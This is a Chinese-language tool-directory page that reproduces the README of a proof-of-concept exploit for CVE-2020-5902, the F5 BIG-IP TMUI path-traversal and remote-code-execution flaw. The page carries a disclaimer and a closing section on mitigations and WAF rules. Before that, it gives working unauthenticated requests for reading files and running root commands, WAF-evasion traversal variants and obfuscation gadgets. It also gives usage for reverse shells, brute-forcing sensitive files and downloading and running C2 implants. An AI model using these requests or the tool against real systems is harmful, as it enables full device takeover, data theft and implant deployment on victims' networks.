Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
F5-BIG-IP — F5 BIG-IP 是企业环境中广泛使用的应用交付和安全平台。CVE-2020-5902 是 TMUI 中的一个严重漏洞,在未修补的版本中可能允许未经授权的访问和远程代码执行,这强调了持续更新和漏洞管理的必要性。 | Kitploit
工具/GitHubGitHub/devrafaelprogrammer/f5-big-ip
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制学习与教育红队Payload 开发
GitHubdevrafaelprogrammer/f5-big-ip

F5-BIG-IP

F5 BIG-IP 是企业环境中广泛使用的应用交付和安全平台。CVE-2020-5902 是 TMUI 中的一个严重漏洞,在未修补的版本中可能允许未经授权的访问和远程代码执行,这强调了持续更新和漏洞管理的必要性。

查看仓库
93个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2020-5902 — F5 BIG-IP TMUI 远程代码执行

F5 BIG-IP 流量管理用户界面(TMUI)中严重路径遍历/远程代码执行漏洞的概念验证利用程序。

⚠️ 仅用于授权的渗透测试和安全研究。 未经授权对非您所有或未获书面许可的系统使用属于违法行为。 作者对本工具的滥用不承担任何责任。


目录

  • 背景
  • 漏洞分析
  • 技术深入剖析
  • 受影响版本
  • 功能特性
  • 安装
  • 使用方法
  • 防御措施
  • 检测与威胁狩猎
  • 时间线
  • 参考资料
  • 免责声明

背景

F5 BIG-IP 是一系列多功能网络设备(负载均衡器、WAF、应用交付控制器)的统称,广泛应用于全球大多数财富500强公司、金融机构、医疗保健机构和政府机构。流量管理用户界面(TMUI) 也称为配置实用程序,是在端口443(或8443)上可访问的基于Web的管理门户。

2020年7月,F5披露了CVE-2020-5902,这是TMUI中一个严重(CVSS 9.8) 的未授权路径遍历漏洞,允许远程未授权攻击者:

  • 读取底层Linux系统中的任意文件(本地文件包含,LFI)
  • 以root身份执行任意操作系统命令(远程代码执行,RCE)
  • 完全控制设备并横向渗透到内部网络

在公开披露后的几天内,大规模利用在野外被观察到,包括国家级行为者的利用。


漏洞分析

根本原因

TMUI基于Apache Tomcat构建,并使用Servlet过滤器对受保护资源强制进行身份验证。漏洞在于Tomcat解析分号分隔的路径段(;)的方式。

以下请求完全绕过身份验证:

GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

为何有效:

  1. Tomcat Servlet过滤器将路径视为/tmui/login.jsp(在;之前结束)——这是公开的登录页面——因此允许该请求。
  2. Tomcat的URL解析器随后在处理/..;/时将其当作路径遍历(/../)。
  3. 请求最终被路由到受保护的fileRead.jsp Servlet,无需身份验证。
┌──────────────────────────────────────────────────────────────────┐
│  客户端请求                                                       │
│  GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp     │
└────────────────────────────┬─────────────────────────────────────┘
                             │
             ┌───────────────▼───────────────┐
             │    Tomcat Servlet 过滤器       │
             │  看到: /tmui/login.jsp  ✓     │
             │  (公共端点 → 允许)             │
             └───────────────┬───────────────┘
                             │
             ┌───────────────▼───────────────┐
             │    Tomcat URL 解析器           │
             │  解析: /..;/ → /../           │
             │  最终路径: /tmui/locallb/     │
             │  workspace/fileRead.jsp ← 🔓  │
             └───────────────┬───────────────┘
                             │
             ┌───────────────▼───────────────┐
             │  fileRead.jsp (无身份验证检查) │
             │  以root身份读取任意文件        │
             └───────────────────────────────┘

从LFI到RCE

tmshCmd.jsp Servlet(同样可通过相同的遍历方式访问)将command和utilCmdArgs参数直接传递给tmsh(BIG-IP管理Shell),后者封装了run util bash -c '...'。这提供了未经过身份验证的root级操作系统命令执行:

POST /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
command=run+util+bash+-c+'id'&utilCmdArgs=-c+'id'

技术深入剖析

攻击流程

阶段1:侦察
  └─ TCP 横幅抓取(HTTP/TLS 指纹)
  └─ SSL 证书分析
  └─ HTTP 头部指纹(Server、X-Powered-By、Set-Cookie)
  └─ 从 /etc/f5-release 估计 BIG-IP 版本

阶段2:漏洞检查
  └─ 遍历 6 种遍历编码变体
  └─ 针对 4 个已知可读的哨兵文件测试
  └─ 确认输出与已知指示符匹配(root:x:0:0、BIG-IP 等)

阶段3:漏洞利用
  ├─ 向量 A:tmshCmd.jsp(主要 RCE)
  │    └─ 命令通过 base64 / 十六进制编码 gadget 混淆
  ├─ 向量 B:fileRead.jsp + fileName 参数中的命令注入
  │    └─ 操作系统命令注入到 fileName 参数中
  └─ 向量 C:日志中毒(User-Agent 注入 → 读取 access_log)

阶段4:后利用(可选)
  ├─ 交互式 Shell(命令 REPL)
  ├─ 反弹 Shell(4 个并发单行命令)
  ├─ LFI 暴力破解(30 个敏感路径,并行)
  └─ C2 植入程序部署(Sliver / Metasploit / 自定义)

遍历编码变体

变体载荷
标准tmui/login.jsp/..;/tmui/...
编码分号tmui/login.jsp/..%3b/tmui/...
双重 URL 编码tmui%2flogin.jsp%2f..%3b%2ftmui%2f...
Unicode 点点tmui/login.jsp/%2e%2e;/tmui/...
大小写变体TMUI/login.jsp/..;/tmui/...
目录混淆tmui/login.jsp/..;/tmui/locallb/workspace/../workspace/...

命令混淆 Gadget

该工具每次执行时应用两种混淆 gadget 之一,使静态签名检测更加困难:

# Gadget 1 — Base64 编码/解码管道
bash -c {echo,aWQ=}|{base64,-d}|bash

# Gadget 2 — 十六进制字节 printf 求值
eval "$(printf '\x69\x64')"

受影响版本

BIG-IP 分支受影响范围修复版本
15.x< 15.1.0.4≥ 15.1.0.4
14.x< 14.1.2.6≥ 14.1.2.6
13.x< 13.1.3.4≥ 13.1.3.4
12.x< 12.1.5.2≥ 12.1.5.2
11.x< 11.6.5.2≥ 11.6.5.2

BIG-IQ、BIG-IQ集中管理、F5OS 和 Traffix SDC 不受此特定 CVE 影响。


功能特性

  • 多变体路径遍历 — 6 种编码排列以规避 WAF/IDS 签名
  • 三个独立 RCE 向量 — tmshCmd.jsp、fileRead 注入、日志中毒
  • 命令混淆 gadget — base64 和十六进制编码管道
  • 被动侦察阶段 — TCP 横幅、SSL/TLS 指纹、HTTP 头部分析
  • 并行 LFI 暴力破解 — 30 个敏感路径,10 个并发线程
  • 并发反弹 Shell — 同时触发 4 条单行命令
  • C2 集成 — Sliver、Metasploit、自定义植入程序(Linux/Windows/PS1)
  • 规避头部 — 随机 User-Agent、IP 欺骗头部、噪声头部
  • 交互式 Shell REPL — !revshell、!c2、!read、!brute 命令
  • 代理支持 — Burp Suite / mitmproxy 集成

安装

git clone https://github.com/DevRafaelprogrammer/F5-BIG-IP.git
cd F5-BIG-IP
pip install requests pycryptodome urllib3

要求: Python 3.10+


使用方法

python CVE-2020-5902.py [-h] [--port PORT] [--proxy URL] [--no-recon]
                        [--cmd CMD] [--shell] [--lfi-brute]
                        [--revshell LHOST LPORT]
                        [--c2-url URL] [--c2-type TYPE] [--c2-args ARGS]
                        target

示例

# 1. 仅漏洞检查
python CVE-2020-5902.py 192.168.1.100

# 2. 自定义端口 + 单条命令执行
python CVE-2020-5902.py 192.168.1.100 --port 8443 --cmd "id && uname -a"

# 3. 交互式 Shell
python CVE-2020-5902.py 192.168.1.100 --shell

# 4. LFI 暴力破解(读取 30 个敏感路径)
python CVE-2020-5902.py 192.168.1.100 --lfi-brute

# 5. 反弹 Shell 回调
python CVE-2020-5902.py 192.168.1.100 --revshell 10.0.0.1 4444

# 6. 部署 C2 植入程序(Sliver 示例)
python CVE-2020-5902.py 192.168.1.100 \
  --c2-url http://10.0.0.1:8000/implant \
  --c2-type linux

# 7. 通过 Burp Suite 路由以检查流量
python CVE-2020-5902.py 192.168.1.100 --proxy http://127.0.0.1:8080

交互式 Shell 命令

进入 --shell 模式后,可使用以下特殊命令:

命令描述
!revshell <lhost> <lport>同时触发 4 种反弹 Shell 变体
!c2 <url> <type> [args]下载并执行 C2 植入程序
!read <path>通过 LFI 读取任意文件
!brute暴力破解 30 个敏感路径
!exit终止会话
<任意操作系统命令>通过 RCE 执行并打印输出

防御措施

即时缓解措施(如果尚无法打补丁)

1. 阻止从互联网访问 TMUI

最有效的缓解措施是确保管理接口永远无法从不受信任的网络访问:

# BIG-IP:将管理访问限制到专用 VLAN/IP 范围
tmsh modify sys httpd allow replace-all-with { 10.0.0.0/8 192.168.0.0/16 }
tmsh save sys config

或者,在 BIG-IP Self IP 配置中,确保管理端口没有外部路由。

2. 应用 F5 官方缓解措施(补丁前)

F5 发布了一个缓解脚本,添加 Apache RewriteRule 以阻止遍历模式:

# /etc/httpd/conf.d/CVE-2020-5902.conf
RewriteEngine On
RewriteCond %{THE_REQUEST} "([^\ ]+)\x3b" [NC]
RewriteRule ^ - [F,L]

参考: K52145254 — 缓解步骤

3. 补丁 — 应用修复版本

最终修复是将 BIG-IP 升级到已修复的版本(请参阅受影响版本表)。F5 修正了 Servlet 过滤器逻辑,以在身份验证强制之前正确解析分号分隔的路径段。


架构级防御

管理平面的零信任网络访问

┌────────────────────────────────────────────────────────────────┐
│  推荐架构                                                       │
│                                                                 │
│  互联网 ──────► 防火墙 ──────► DMZ / 生产环境                  │
│                      │                                          │
│                      │  (拒绝所有到管理端口的流量)              │
│                      │                                          │
│                   跳板机 ──────► BIG-IP TMUI(端口 443)       │
│                 (MFA + VPN)        (仅管理 VLAN)            │
└────────────────────────────────────────────────────────────────┘

关键原则:

  • 管理接口绝不能与生产流量位于同一 IP/端口
  • 访问需要先VPN + MFA,然后才能到达跳板机
  • BIG-IP Self IP 端口锁定应设置为 Allow None 或 Allow Defaults

Web 应用防火墙规则

如果在 BIG-IP 管理前面有 WAF(不常见但某些架构中可能存在),请添加规则以阻止:

  • 请求包含 ; 的 URL 路径
  • 请求路径段匹配 ..; 或 %3b
  • 来自非管理来源的 /tmui/locallb/workspace/ 请求

安全加固清单

下载工具